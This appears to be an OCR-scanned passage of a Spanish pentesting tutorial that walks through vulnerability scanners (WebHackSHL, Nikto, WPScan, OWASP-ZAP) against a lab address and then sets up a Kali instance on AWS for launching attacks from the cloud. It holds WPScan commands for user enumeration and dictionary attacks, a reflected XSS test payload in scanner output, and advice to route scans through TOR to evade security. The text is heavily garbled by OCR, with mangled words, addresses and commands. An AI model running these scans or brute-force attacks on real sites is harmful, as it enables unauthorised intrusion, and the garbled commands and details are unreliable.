WordPrass 2.3.3 Directory Travarsal ulnerabifity (0., http://182,168,1.68/

&

WordPress 2.5 Cookia integrity Pratection Unautho.., Hilp:/f97, 168,468/ Web References

ceccoccecoccoc0occo00®

WordPress 2.6.1 Lost Password SGLColumn Trunc..,  htlp:f/191.168.1,68/

€ Back Stop Scan Ganerate Report WAF Export... = Group By: None
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Developer

Exacutive Summary
Quick

En el reporte apareceran las fallas que encontro la
herramienta.

Executive summary

gkart grc‘zup - Severity
| ross sile scn[)tmg 7 . High

Bli jecti

: ;‘fj.s.ﬁ_.lnjacuon | High
8 injection . ~ Hgh

Otros analizadores de vulnerabilidades

Webhackshl es otra herramienta de analisis de
vulnerabilidades para aplicaciones web, su
funcionamiento es muy sencillo, a diferencia de
Acutinex o Nessus, en si funciona al llamar a varios

analizadores de vulnerabilidades de codigo abierto,
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tal como Nikto, WPScan, Joomscan y, ademas,
tiene implementaciones de TOR para mantener un
nivel de anénimo si es que es requerido.

para utilizar la herramienta, basta con abrirla de la
carpeta lopt/AV/WebHackSHL

Y posteriormente ejecutar el comando con los
comandos chmod +x webhackshl.py y

Jwebhackshl.py
kSHL# ./webhackshl.py

Al ejecutar el script, te aparecera un menu, en el
podras elegir que es lo que quieres hacer, tiene
muchas aplicaciones muy utiles, como encontrar
fallas en XSS y SQLI, algo que seria muy Util, 0
encontrar el panel de control, o evadir seguridad en
paginas web. La opcion d es la que te servira para
realizar analisis de vulnerabilidades en una pagina

web.
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otras, en las que hay tres opciones, si estas

analizando una pagina web hecha sin algin CMS,
elige la opcién b, ya que NIKTO te ayudara a
realizar un analisis de vulnerabilidades de esta, sin
embargo, si la pagina web esté desarrollada con el
CMS WordPress, utiliza la opcién e, y si el CMS es
Joomla, utiliza la opcidn c, las variaciones de estas
en las opciones d y f simplemente agregan TOR,
una tecnologia que te mantendra anénimo mientras
realizas los analizadores, solo usa esas opciones si
estas buscando evadir un sistema de seguridad o

si el trabajo exige ser anénimo.

Para este punto deberias saber que opcion te
conviene usar si hiciste un buen reconocimiento, de
forma que sabras con qué tecnologia fue

. . . construida una pagina web.
Luego de seleccionar la opcioén d, tendras algunas

opciones mas para realizar analisis de
vulnerabilidades. La opcion a te daria informacion
similar a la que esperariamos encontrar en la etapa

de reconocimiento, asi que nos enfocaremos en las
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a) Obtener informacion del sistio web, servidor, Ip, CMS, Software del servidor ,
b) Buscar vulnerabilidades web usando nikto.
¢) Buscar vulnerabilidades web de sitios web Joomla.
d) Buscar vulnerabilidades web de sitios web Joomla usando TOR.
e) Buscar vulnerabilidades web de sitios web con WordPress
f) Buscar vulnerabilidades web de sitios web con WordPress usando TOR.
g) Salir,
Introduce tu opcion:

Selecciona: d
Seleccing una de las siguientes opciones:

En este ejemplo, elegi Nikto para realizar un
escaneo contra una pagina, puedes esperar una
respuesta similar a esta en la terminal, en la que
tienes que buscar las vulnerabilidades en los
renglones, como te das cuenta, esta herramienta

no es tan “bonita” como las de paga, sin embargo,

también es bastante efectiva.

- Nikte v2.1.6

hosin-Patch proxy Iitml/3,0.1 rod_python/3:3.1 Pylh
8.1

nt to protect against
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Otra de las opciones que aparecen en webhackshl,

Analisis a paginas WordPress

sin embargo, que vale la pena aprender a utilizar
por si misma, es WPScan, esta es una herramienta
escrita en Ruby disefiada especificamente para
realizar analisis de vulnerabilidades a paginas
hechas con WordPress.

Para utilizarla, basta con escribir wpscan en la

terminal.

. /# wpscan

Similar a nmap, debemos de ponerle parametros
para que nos dé alguna respuesta util, digamos
que queremos hacer un escaneo general a una
pagina, utilizamos el parametro -u, de forma que el

comando completo sea wpscan -u <pagina web>

/# wpscan -u http://192,168.1.68/wordpress

Después de esto, nos mostrara los resultados en la
terminal, tales como informacién del servidor y del

sistema.
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: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 PHP/5.3.2-1ubuntud. 36 With Suhosin-Patch proxy htal/y q

§1/2.2.14 OpenssL/0.9.8k Phusion Passenger/d.0,38 mod_pert/2.9. Pert/v5.16.1
LS
FD-BY: PHP/5.3,2-1ubuntud.30
£t A [P 200]
tp://192
op RSS feed:

Version y vulnerabilidades en la version de
WordPress instalada, y si ha habido
actualizaciones que resuelvan dichos problemas.

Tncludes directory has directory listing enabled: http://192,168.1,68/wordpress/wp-includes/

+| Enumerating WordPress version ...
The WordPress ‘http:f}lgl,lﬁBA1.68/wurdpress/readme.html' file exists exposing & version number

1 WordPress version 2.0 (Released on 2067-09-24) identified from advanced fingerprinting, meta generator, |
15 vulnerabilities identified from the version number

Title; Wardpress 1.5.1 - 2.0.2 vwp-register.php Multiple Parameter XSS

Reference: https://upvulndb.con/vulnerabilities/6033

Reference: https:f/cve.mitre.org/tqi-bin/cvename.cqi?name:(UE-ZOD?—SIGS

Reference: https:}/cve‘mitre.orgicgi-hln/cuename.cqi?name:tVE-E@@?—SlUB

Fixed in: 2.0.2

Temas, y si estos temas estan desactualizados y

existe alguna vulnerabilidad en estos.

<) WordPress theme in use; default - v1.5

Name: default - v1.5

Last updated: 2010-86-14760:00:00.009Z

Location: http://192,168.1.68 dpress/wp-content/themes/default/

i+ The version is out of date, the latest v

Styte URL ﬁttp:f/lﬁz.16341.68/wnrdpress,ﬂp-cantent/themes/default/style.css

Theme Name; WordPress Default

Theme URL: hitp://wordpress.org/

Description: The default WordPress theme based on the famous <a href="http://binarybonsal. com/kubr
Author: Hichael Heilemann

Author URT: http://binarybonsai.con/

VYVE"[TF sl

Y finalmente, plugins encontrados, y si existe

alguna vulnerabilidad en estos.

ating plugins fron passive detection ...

dallery/
yoallery/changetog, tat
peconten 2

known vulnerabilities will be output to allow you to do your own manu

.4hd - Remaete File Inclusien
ndb, comfvulr 1ilies/6506
xploit-db.com/exploits/3814/

Como podras notar, al igual que otros analizadores

de vulnerabilidades, nos da referencias y ligas
donde podemos investigar como funcionan y cémo
explotarlas.

Adicionalmente, WPScan tiene algunas otras
funciones, tales como encontrar usuarios, hacer
ataques de fuerza bruta, directorios, y utilizar
proxys, puedes ver estos comandos extras con el
comando wpscan -h

Aqui te pongo algunos de los mas comunes/Utiles.
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Comando

wpscan -u <pagina.com> —-enumerate p | Este comando te dg

de los plugins instala_

wpscan -u <pagina.com> --enumerate t

wpscan -u <pagina.com> --enumerate u | Este comando te da un'

de los usuarios de Ia pg

Este comando te perm|t
realizar ataques de
diccionario a la pagina,

wpscan -u <pagina.com> --wordlist
<lista> --username <usuario>

Analisis OWASP a paginas web

OWASP-ZAP es la herramienta de analisis de
vulnerabilidades creada por OWASP, que hace

escaneos en base a sus estandares de seguridad
en aplicaciones/paginas web.

Esta herramienta es multiplataforma y puedes
descargarla en casi cualquier sistema entrando a
https.//www.owasp.org/index.php/OWASP _Zed Att

ack Proxy Project , sin embargo, en el sistema

que estamos utilizando (Kali), ya esta instalada por
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default, asi que basta con escribir el comando

owasp-zap en la terminal.
' . /# owasp-zap

Afortunadamente para quien no sea tan amante de
la terminal, esta es una herramienta con interfaz
grafica, asi que es sencillo de entender. Una vez
abierta, basta con introducir la direccion web de la
pagina que queremos analizar en la barra de

busqueda, y presionar el boton “Attack”.

fi. Leios K& _— ones ==
TAE -1;‘" Bl 45 = i

=3 Mgﬂri m|mv 1S

\'W!*!TF ]

Ml ot ik 5 e U i Bt s ot i D

@ Welcome to the OWASP Zed Attal:k Proxy (ZAP)

; T

m.ﬁ:—n? tha ok shex anty sk pleations that you fiame beon sos el y besn geven parrsiiee ntet
£
1

g th w4 bezon !
it s 3 acation, ter i U Bl a0 press K.

o shiice we danat ke 5330 E:wu»,nu e = — — =

Lsoet £

qsdq{_

=

Esta accion hara que el programa corra un
escaneo estandar de la aplicacion/pagina web que
estés analizando, en la parte inferior notaras
algunas pestafas, estas estan haciendo varios

trabajos importantes, el primero, es el spider, que
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esta indexando todas las paginas en el sitio y los

=

A = AjAX Spider =

meétodos que acepta. pl %ﬁd e :
[ vty [ S [t | gt [ i 2 | AR Break Points 5
el TTEECTIIESSeSs S e “ () clients i
Jmm,. e — - - Iii # " Forced Browse

.:; g" mlq:;;::;ﬁ&mpmmup-l i ! - w Fuzzer

@ GET bt 1921681 8B wordpressing-trackback phpTp=1 :gt L¢ H_I_I_P 5955i0n_5, :

50 [ ] Params 8
Al terminar el analisis, irés a la pestafia de alertas, &% Websockets
en donde encontraras vulnerabilidades del W Tt Reilis -

sitio/aplicacion web analizados y detalles de cada Al terminar el andlisis, querras exportar tus

una, asi como su gravedad (como has visto en resultados en el formato que mas te sirva. De

otros analizadores de vulnerabilidades) y en base a nuevo te repito es de acuerdo con tus necesidades,

€so empezar a planear un ataque contra el yo en general el HTML se me hace un formato que

= History

), Search U alerts « | | output | 5 spider | 3 Active Scan [

va de acuerdo con lo que necesito.

@e J Cross Site Scripting (Reflectad) :
“ = s (1) . — e URL: https//192.168.1.68/wordpress/wp Eile Edit View Anaiyse Tools Online Help
= Risk: # High

' Cross Site Scripting
» [¥ Buffer Overflow

* [ Directory Browsing
* ¥ X-Frame-Options Header Not Set (17)

¥ 4 Private |P Disclosure (4)

¥ % Web Browser XSS Protection Not Enabled {19)
¥ 1 X-Content-Type-Options Header Missing (27)

objetivo.

[Refiected) 2} Confidence: Medium

Parameter: user_login

Attack:  “=<script=alert{1);</script>
Evidence: “=<script=alert(1);</script>
CWEID: 79

WASCID: B

Source;  Active (40012 - Cross Site Scripting

Istandard Mnde i J | '. L Generate HTML Report...
Generate XML Report...
Generate Markdewn Report... E
Generate |SON Report...
—————1 Export Messages to File...
Export Reapnnse to File...

¥ [ Contexts

i0] Default Context | :
Adicionalmente, puedes agregar mas pestaiias » @ Sites Export All URLS to File... .
Export Selected URLs te File...

Export URLs for Context

para hacer otros tipos de andlisis, por ejemplo,

fuzzers que te permitiran encontrar URLs donde Compare with Another Session...

hacer inyecciones, entre otras cosas.
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Ahora esta herramienta y todo el tema de OWASP
es bastante mas complejo, asi que te conviene que
cheques un poco mas de las opciones que tiene
para escanear, pero incluso utilizado
superficialmente es una herramienta bastante util
para encontrar fallas en base a los estandares
OWASP.
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Explotacion

Esta es la fase en la que vamos a comprometer a
varios sistemas de informacion. Existen muchas
formas de explotacion, desde los RATs (Remote
Access Trojan), que te permitiran tomar control
remotamente de un sistema, hasta los exploits, que
te permiten entrar al sistema por medio de un error,
usualmente necesitas utilizar una combinacion de
varias técnicas para realizar una prueba de

intrusion exitosa y completa.

Ataques fuera de la red local desde la
nube

Lo primero que tienes que saber, es que, al querer
comprometer a un sistema, generalmente
necesitamos tener o poder establecer algun tipo de
comunicacion entre el sistema comprometido y el
sistema, y por lo tanto, las direcciones IP de ambas
maquinas deben de poder comunicarse, es decir, si

estas en una red LAN, debes estar en la misma red
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LAN que el objetivo, de lo contrario, debes tener o mas barato, ya que existen Google Cloud, Azure,

una IP global, o WAN, a la que la IP LAN del

objetivo pueda comunicarse.

y DigitalOcean en los que podrias hacer las
mismas cosas. Sin embargo, aqui mencionare
como configurar tu laboratorio en la nube de forma

En tu computadora y en red doméstica, no tendras que puedas realizar ataques remotamente desde

acceso rapido y sencillo a una IP global, ya que cualquier lado, hasta desde un celular.

aunque tu router tiene una IP global, y podras Primero, entra a https://aws.amazon.com y crea

acceder a esta para realizar ataques por medio de una cuenta.

Pkt + S iy Disgluvied | Derestsr ASistoales  lewet  Cstemin  Pumen  MAx v

port-forwarding, no lo recomendaria, debido a que

es tedioso y no es compatible con todos los

Amazon SageMaker

Batch Transform

Dty for ooyl 16 a3 s

routers, si se reinicia o apaga tu router podria

cambiar tu IP o perder comunicacion con el

objetivo, y la unica manera de realizar ataques

seria dentro de esa red, por lo tanto, yo sugiero Después que hayas pasado por el proceso de crear

algunas otras alternativas. una cuenta, te encontraras con una pantalla en la
que haras clic en la pestafia de “Services”, y veras
AmEZON ¥yeb Services los principales servicios, el que nos interesa por el

Amazon Web Services, o AWS, es uno de los momento es el que se llama EC2, haz clic en ese.

servicios de computacion en la nube mas grande Adicionalmente, vale la pena que hagas clic en la
que existe, a pesar de que es el servicio con el que pestafia de tu usuario en la derecha, donde podras
me siento mas comodo, no significa que sea el

unico y mejor (dependiendo a quien le preguntes),
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observar tus costos/pagos, numero de cuenta,

entre otros detalles.

Resource Groups

Adetianal Infsratien

(irea'n nslenra

History

< s sy A 2 e 4 9 T SRR T 2 e L rese

Console Home

 Schedled Eveals I RS Marslpiace

2 Compute s
53 =
Billing Lightsaii & )
Serioe bex E;f;ﬁc Container Servige
Amazon Polly Lambda

Batch

Elastic Beanstalk

=N Informacién personal
=) orage

S3 Hay algunas cosas que
EFSV debes saber de tu propia
Glacier My Account

Storage Gateway cuenta para utilizar

My Organization
adecuadamente AWS, para

Una vez dentro de EC2(Elastic Compute Cloud) My Biling Dashboard
,l’

esto, vas a requerir irte a la

veras una pantalla similar a esta pantalla, hay . i
Wy Security Credentials

algunas cosas que debes de entender antes de seccion "My Account” abajo

poder operar una computadora en la nube para gaiuusugrio, Sign Out

realizar pruebas de penetracion.
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Como puedes ver, aqui puedes ver mucha

informacion de tu cuenta: de pago e informacion

personal.
Dashboard

Bills

Pon atencion a donde dice Cost Explorer

“account settings”, aqui notaras un Budgets

nimero que es el “Account Id”, Reports

cuando menciona “Account Id” o Cost Allocation Tag

AWS Account Number, a esto me ~ Payment hethods

refiero, ya que te sirve para Payment Histoijig

acceder a algunas funciones de tu ~ Consefidated il

Preferences

Crediis

cuenta tal como compartir

instancias y AMls.
Tax Settings

v Account Settings

Account Id: ;
Seller: AWS InC.
Account Name: Fablo Gutiemez
Password:
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Regiones

Las instancias en Amazon estan divididas por
‘regiones” y tU puedes tener activos corriendo en
diferentes regiones al mismo tiempo, sin embargo,
cada region tiene un limite de activos utilizables por
cuenta, asi que toma eso en cuenta. La region se
refiere a donde esta el servidor de Amazon que te
esta dando el servicio, naturalmente te conviene
utilizar el servidor mas cercano, para seleccionar la

region basta con hacerlo en el

Bablo Gutierrez

boton a la esquina superior

derecha. US East (N. Virginia)
{ US East (Ohio)
US West (N California)
Instancias

Las instancias son los sistemas con los que inicies,
pueden ser de diferentes sistemas operativos como
Linux y Windows, y pueden tener o no interfaces
graficas, estas generalmente tienen dos estados,
apagada y prendida, y si quieres borrarla, deberas

usar “terminate” para eliminarla de tu consola de
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v
instancias. en esta consola, accedida por el ment a
la izquierda, podras ver las instancias que tengas
apagadas, prendidas, y sus detalles, tales como la
llave con la que se accede al sistema, sistemas de
monitoreo, sus IP internas y externas, y que tipo de

instancia es.

Aot e ety St o Sk (i At Sty

Pokiic BNS [Prd)

Inytarce Type - PGl P

sty

Ceedun

stno | Hites Rt (el Uy Prvale P 1723108005

Ahora, para lanzar una instancia, deberas hacer
clic en el botdn azul donde dice “launch instance” y
seleccionar la instancia que requieres y configurar
sus opciones como que tanta memoria, procesador
y almacenaje quieres que tenga, asi como sus

configuraciones de seguridad.
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oose an Amazon Maching Image (AMI)

Llaves (Key Pair)

Al crear una instancia, deberas crearla con una
llave, llamada en Amazon “key pair’, que es una
llave criptografica en formato .pem que deberas
utilizar para autenticar a un servidor ya sea por
medio de SSH u obteniendo la contrasefia de dicha
llave.

Al crear una instancia te pedira que selecciones
con que llave quieres acceder a dicha maquina, si
no tienes una llave creada, deberas generar y
descargar una nueva.

nota: es muy importante que no pierdas ni

compartas las llaves, ya que es la Unica forma de

acceder a tus instancias.
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para convertir .pem a .ppk, que es lo que acepta
Putty.

Primero tendras que abrir la aplicacion, y hacer clic

Select an existing key pair or create a new key pair

A key pair consists of a public key that AWS stores, and a private key file that you siore. Together, fjg
aliow you fo connect to your instance securely, For \Windows Aldls, the private key fle is required o
obtain the password used to log into your instance. For Linux Alis, the private key file allows you tg
securely SSH into your instance.

en el botéon “Load”.

e ]
rate a public/private key pair l Generate i
Note: The selected key pair will be added to the set of keys authorized for this instance. Learn more Sl

about removing existing key pairs from a public AMI. an existing private key file | Load |
| Choose an existing key pair ) = ye the generated key - Savepublickey = Saveprvatekey |
Select a key pair ] 1
Ty : e — e , Parameters
| 12345gwerty

A (IDSA (O ECDSA (O ED25519 () SSH-1 (R54)

=r of bits in @ generated key:

#: | acknowledge that | have access to the selected private key file (12345qwerty.pem). and that
without this file, | won't be able to log into my instance.

Cancel Lauﬁéh Instances
Selecciona la llave .pem que Amazon te ha

erado.
generado n—

i:ﬂ gEeEnerico.pem
Algunos formatos, sin embargo, no aceptan la llave

en formato .pem, como por ejemplo Windows y

Putty para acceder por medio de SSH, asi que Después de haber aparecido este mensaje,

tendras que generar una llave de otro tipo, para simplemente haz clic en “Save Private key”, y

hacer esto, descarga el software de Putty en guarda tu llave .ppk en algun lugar seguro.

https://putty.org y utiliza la aplicacion “PuttyGen”
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B rutT #% PuTTY Configuration _uTTY Configuration ? %
File  Key Category: = 3 —
Key (=i Seasion L ; Options controling SSH authenti o7 | Basicoptions for your PuTTY session _}
Publick| | -Logging e Earoer 3 ; ]_ogigrng Specify the destination you want to connect to
= 2 . +| Display pre-authentication banner | Temina
| 2 Tgm‘tlnal Cla dhariication enkei (i \ Window Host Name {or |P address} Port
AAAAE | @ Window 338 & only . I | | 2 I
:K;;‘E = Con;ztcion Luthentication methods Data Connection type:
SeabZ .- Prowy Attempt authentication using Pageant ... Proxy (ORaw (O Telnet () Rlogin @ 55H () Serial
Key fine - Telnet [] Attempt 1-]5 or ngcaw .aut‘}lu (SSH:'D_ ;T;;i Load, save or delete a stored session
= - Rlegin [~] Attempt "keyboard-nteractive” auth (S; 5ot T S
. = & SSHKEK Authertication parameters B . iex | |
" : AR S
e [-J- - . Hostkeys ] Allow agent forwarding H_DSE keys Default Settings A [ Load j
Carfirm .. Cipher (] Allow attempted changes of usemame Cipher I
: e At | Private key file for authentication: ; [l Auth [ ~ Save
Actions TTY j ® - TTY ExITETTe=—
| l ] - 11 | Delete |
Genera - X11 - Tunnels e
- Tunnels . i
Load al ‘. Bugs - Bugs
< More bugs - 4
More bugs _ Close window on exit:
Save t .. Serial - Senial (D Mways  C)Never (@ Only on clean exit
Parame
Type of = < _ Ere | e bt |
@RS/ | ot || Hep | Open = | e ] el |
Mumber of bits in a generated key: 2048 '

Luego solo ingresa la IP en la barra que dice “Host

iListo! Ahora solo utiliza la llave ppk en Putty Name”, presionas "Open”, y listo, podras acceder a tu

seleccionandola en “Auth” y “Browse” g-iansia por medio de-SSH.
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simplemente deberas utilizar la terminal, basta con

‘VWHITE SUItT
wCMwewAmﬂmmmmmMmmeMMU

Ahora, si estas utilizando Linux u OSX, :
{empiate (hat contains ihe software configuration (operaling sysiem, application server, and apglications) required to launch your instance

Q, Search .L\&‘."S.T‘Eameasas Frogutts X
escribir el comando ssh -i /directorio/tu-llave.pem
awsmarketplace

ec2-user@nombre_del_dns

Find and buy software hal runs in the AWS Cloud, software from trusted vendors like SAP, Zend, Microsoft, as w
Marketptace products you are curiently subscribed to by visiting Your Soitwate In the AWS Markelplace

Marketplace

Featured Software

El Amazon Marketplace es donde podras acceder a B Lo JUNPEL @I‘.‘E'ﬂf

instancias disefiadas especificamente con una

Barracuda CloudGan ySRX Next Generation tMatillion ETL for Trend Whcro Deep

. ; ) usin Farewa!i‘fm A_WS = Amazan Redshift Securily
funcionalidad en mente, por ejemplo, para A s ratng #4445
_ o _ ) im0 s
seguridad, o algun sistema en particular como ' Sty e 9 0t o o o sofare usege
softwaie

Android, etc., la diferencia a una instancia normal,

es su especialidad, que estan hechas por una

. . . - AMIs
organizacion en particular, necesitas suscribirte a

estas para utilizarlas, y generalmente hablando, Las AMIs de AWS se puede decir que son

. “: - » - « !
son mas caras, aunque con la ventaja de estar imagenes” de maquinas preconfiguradas que

oreconfiguradas. puedes rentar, compartir o crear, por ejemplo, hubo
un tiempo en el que Kali no estuvo disponible en
AWS, asi que tuve que configurar Debian o Ubuntu
con las herramientas de seguridad que yo utilizaba,
pero no queria tener que configurar e instalar todas
las herramientas de cero cada vez que necesitara

una nueva maquina, asi que cree una AMI de la
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magquina ya configurada, y simplemente podia

lanzarla de nuevo cada que yo quisiera, piensa en e’ X
3 . o 0042762685020
ello como una copia de seguridad. i e—
|mage name i}
Para crear una nueva AMI de una instancia, basta insgedescripion ()
N N . . Noreboot (i)
con hacer clic derecho en la instancia y hacer clic -
en Image > Createimage. size
' :D’&\ikl snapshot (I (o) Volurie Type (I 1oPs | Throughput - Deteeon S
& stopped ' N D © e G T @
0 oesiet Eggg}irr.ltbssm&im; [ GeneraiPupose SS0GP7) ] 16013000 WA a Nat Encryped

@ stopped

Launch More Like This (S REGINEN )
] ' 5 Velumes: 60 Gi3
le an EBS ‘mage, an EBS snapshet will aiso be crealed for each of the above volumes

instance State M@ stoppad
Instance Settings b | _ E ,
Create Image Gancel

Networking b i _ nst ,
CloudWatch Monitoring » | ) S——— Al terminar la creacion de la imagen (tarda unos

cuantos minutos, no es inmediato), para trabajar con

-

esta, deberas entrar a la pestafna AMIs a la izquierda, y

; . veras a tu image
Luego de eso simplemente configura el nombre y gerian e bonsola.

descripcion de la imagen que guieres crear, y -
— @ioee
H L4 o n PR i by oo tes e ol bt
presiona el boton azul Create Image . 0 ¢ esas
- fE 5 Soute - Ome - Valy - Sats o CrfekDae o Pl - RootDevie e Vinss T
e P b AW BRI a4 e
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Esta imagen la puedes lanzar, borrar y compartir,
entre otras cosas, para lanzarla, basta con hacer
clic en donde dice “Launch”, para compartirla, haz

clic en donde dice “Modify Image Permissions”.

. : Launch
Y podras compartirla con

_ . Spot Request
quien quieras agregando el
AWS Account Number, o

hacerla publica en el

Deregister

Register New AMI

Copy AMI

Modify Image Permissions
Add/Edit Tags

Marketplace.

Modify Boot Volume Setting
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Modify Image Permissions o

mis image 1S currently: ©' Public ® Private

E};’;s Account Number

This image currentiy has no pemmissions

|| Add Permission |

AWS Account Number

1) Add "creaie volume" permissions to the following asscciated snapshats when creating permissions:

. spap-Ucdc7Bee3az430858

Para acceder o que a quien le compartiste la AMI
acceda a la imagen compartida, deberas hacer clic
en el botdn a la izquierda superior de la consola
donde dice “Owned by me” y cambiarlo a “Private
images”, donde mostraran las

AMiIs que hayan sido Owned by me & |

Owned by me

Public images

compartidas contigo.

Private images
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Elastic IP Al hacer clic te aparecera una

Siempre que inicias una instancia en AWS, tienes consola que te mostrara las IPs

dos IPs, una global, y una local, por lo que podras que tengas “apartadas”, la primera

Elasiic IPs

lanzar ataques globalmente, sin embargo, hay una . vezque lo utilices, no tendras

limitante, cada vez que reinicies o apagues la ninguna IP en esta consola.

L L Key Pairs
maquina, tu IP global cambiara, y esto es un

problema importante, ya que no necesariamente

quieres tener tu instancia prendida siempre (ya que

| Ajiosate news

AWS cobra por hora que cada instancia este
‘ Para apartar una nueva IP, basta con hacer clic en

rendida), ademas de que potencialmente te . .
prendiga) e el botén azul que dice “Allocate new address”, y

podrias topar con alguna situacion en la que [ ,
presionar de nuevo el boton de “Allocate”.

A ale pew address

necesites reiniciar tu maquina por alguna razon, y

si apuntaste algo, como por ejemplo un malware o poale new address

una pagina web a una IP en particular, si pierdes 7 ek

s Cammand Linz Interface command
esta IP podria causar inconvenientes.
Afortunadamente, AWS tiene una opcion para
“apartar” IPs permanentemente (o hasta que la )
, el ) ) , Ahora te deberia aparecer la IP nueva en tu
liberes, mas bien), y ademas te permite asignar
. _ . ; consola.
esta IP a la instancia que gustes de forma sencilla
y rapida. Para utilizar esta funcion, haz clic en

donde dice “Elastic IPs” en el menu a la izquierda.
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Security Groups

Placemeni Groups

MNetwork Interfaces

You do nol Fave any Addresses in this region
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() Filter by tags and attributes or search by keyword

Name

-

Elastic IP

A

Allocation ID

18.217.48.65 eipalloc-2

Sin embargo, esta IP por su

cuenta, no esta asignada a ninguna [kl S

instancia, para asignarla, basta con

hacer clic derecho en esta, y hacer AddiEdit Tags

clic en “Associate addresses”

Seguido de eso, simplemente selecciona la
instancia a la que le quieras asignar esta IP, y
presione el botén azul de nuevo.

Instance (i ]

Resource type ®

' Network interface

Instance

Select an instance

F“ i b\‘i ibute
Private IP Q ilter by altributes

Instance ID
E07b5de44ba?492b06
i-06bde9099391c94cf
F0c444403d7ffdbcTa

Reassociation Windows Sever 2012

Kali Linux
Kalk2

a SU 3

Associate addre

N[

Ahora, para desvincular una IP de una instancia, basta
con presionar de los botones anteriores “Dissasociate
address”, y para “liberar” la IP, presiona “Release

| Addresses”.

Nota: una vez que liberes una direccién IP, no podras

recuperarla.

Seguridad
Por Ultimo, en AWS existen varias herramientas de
seguridad para tus instancias, que van desde el
monitoreo, alarmas, hasta configuraciones de
seguridad como firewalls, esto se llaman “Security
Groups”, y tiene mucha utilidad al manejar
diferentes instancias que requieren diferentes
puertos de entrada o salida

cerrados o abiertos, para entrar a Security Groups

estas opciones, haz clic en el —

menu a la izquierda en el boton Placasent Groups

“Security Groups”. Key Pairs

Network Interfaces
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Una vez en la consola, notaras que existen grupos
de seguridad, y al hacer clic en uno de ellos, estan
las pestafias “Inbound” y “Outbound”, esto se
refiere a los puertos abiertos para conexiones
entrantes y salientes, normalmente hablando,
tienden a tener todos los puertos entrantes
cerrados excepto por el puerto 22 (SSH), esto
puede limitar tus opciones para realizar ciertos

tipos de ataques.

Q) Fiter by taps and atiibutes or search by kepieard

Name v Groupid = Group Name + VPCID = Description
sgai¥3e ” Kall Unux-Kali Limoe 2018-1-..  vpe-Ge2eb This securily goup was gan...
sghadd- Kali Limo-Kali Linux 20181 vpe-9e2er This security greup was gzn
[ ] sg-ebbad " default vpe-Be2el default VPC secarity group
Security Group: sg-sB8bad6a0
| Desciphon  Inbound  Oulbound - Jags
Edit
Type (10 Protocol (i Port Range i:
Alltrafic Al All
All Al

All traflic

Para modificar esto, basta con hacer clic en “Edit”,
y agregar nuevos puertos de salida o de entrada
para abrir, en este ejemplo, yo tengo maquinas con

todos los puertos entrantes y salientes abiertos No
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recomiendo esto, ya que deja muchas formas por
.

donde atacar, pero usando estas configuraciones
adecuadamente, podrias tener una instancia con

un alto nivel de seguridad facilmente.

jgbound rules

A Proocol (i PortRange (i'  Source (! Description (|
H’ M 0-635% Cusem v} 00060 £ 554 for Ad o
Sitene - = 7 :
e I ;Rzu;e 0-6552 ooCusiom v B S8 for Adm Desilop | (]

aRNRRUe-PH
nlOHP Ruk - 1Py
g Pkl

Hing Riles wit result n the edided riie
P very brief period of lime until he new rule can be crealed,
- Pyl
1 N

being deleted and a aew e Created walh the new delalls. This will cause Yrafc Ihat depends

Kali Linux en AWS

Ahora que conoces lo basico de AWS, querras
saber como utilizar esto para levantar y utilizar

adecuadamente un Kali Linux en la nube para
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poder realizar ataques sin limitaciones por la IP,

ademas de poder manejar tu sistema desde

cualquier lugar, y desde cualquier dispositivo (hasta

un celular) con internet.

Primero, deberas registrarte a la maquina en el
Marketplace, puedes hacerlo en
https:llaws.amazon.com/marketplace/pp/Bm M26M

MTT .

Kali Linux

el by: Kall Limn Latess Version: Kali Lints 20181
Kali Linx is a Debran-based Linux distribution aimad at advanced Penetration Testing and
Security Auditing.

Linus/ Ui fedrdrdess 45) m

BT QEETRENVEUERRITT

Una vez que estés registrado, podras irte ala
seccién de instancias, y lanzar una maquina,

haciendo clic en “|_aunch Instance”.

| Actions v

-Launc!"'c instance v

Y seleccionando luego de buscar en el

Marketplace, a la maquina que dice Kali Linux
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Posteriormente, deberas configurar tu instancia,
empezando por cuantos recursos (procesador,
velocidad, RAM) quieres que tenga tu sistema.
Para cosas sencillas la micro suele ser mas que
suficiente, sin embargo, si realizas un pentesting
avanzado, utilizaras varias herramientas al mismo
tiempo, te sugiero seleccionar una opcién mas

poderosa.

Step 2: Choose an Instance Type
Amazon EC; provides a wide selection of instance types optimized o i different
for your applications Learn more about instance types and how they can meet y«

Filter by: All instance types ~

Current generation > | ShowiHN

Currently selected: t2. micro (Mariable EClIs, 1 vCPUs, 2 5 GHz_ Intel Xeon Fa

Family - Type :

| i |
§ General purpose i 2 nano
i General purpose 120
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Presiona el boton azul, y solo te quedara confirmar
los detalles de tu estancia, te sugiero agregar
almacenaje si se requiere, y seleccionar el grupo

de seguridad adecuado para este sistema.

Step 7: Review Instance Launch

Please review your instance faunch details. You can go ba
» AMI Details

» Instance Type

» Security Groups

» Instance Details

» Storage

» Tags

Al presionar “Launch”, tendras que confirmar que

tengas tu llave de seguridad para acceder por SSH
a tu sistema.

gelect an existing key pair or create a new key pair

A key pair consists of a public key that AWS stores, and a private key file that you siore. Together, they
you to connect lo your instance securely. For Windows Alis, the privale key file is required 1o

n the password used to [0g info your instance. For Linux Alis, the private key file allows you to
urely SSH infe your instance.
4

Note: The sefected key pair will be added lo the sel of keys authorized for this instance. Leamn more
\apout removing existing key pairs from a public AM].

[Choose an existing key pair
gelect a key pair
[12345qwerly

L | acknowledge that | have access (o the selected private Key file (12345gwerty pemj, and that
without this file, | won't be abie 1o log inte my instance.

7]

v}

—

Cance] |

Una vez iniciada, te aparecera en tu consola de
instancias, junto con detalles de tu maquina como
grupo de seguridad (que aqui también lo puedes
modificar), IP publica (global), e IP privada, haz
copy paste en la IP publica.

B - ndtance i - lnstawcefyps - Avallsbifiy Zoui « lnstagce Siate «  Statys Checks = Ao Statiss PublicDUS (4] = PudPubfici® -

HERSETSIC e swss § rorcing 2 witabing ) % eBIBS1BMI 1645 14620

ub-L T et BraTOavE (5
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Para acceder a tu maquina, deberas abrir Putty, y
configurar tu llave (la cual ya deberias tener de

acuerdo con la seccién de llaves).

#% PuTTY Configuration ?
Cateqory:
‘... Features l Options controling 55SH authentication
£ Window
| L. Appearance Display pre-authentication banner {S5H-2 only)
. B [ ] Bypass authentication entirsly (SSH-2 only)
;:23?;:’" Authertication methods
:  i.Colours Attempt authentication using Pageart
&5 Cormeciion (] Attempt TIS er CryptoCard auth {SSH-1}
- Bt Attempt “keyboard-nteractive™ auth {S5H-2)
- P
T:;:Zt Authertication parameters
.- Rlagin [ Allow agent forwarding
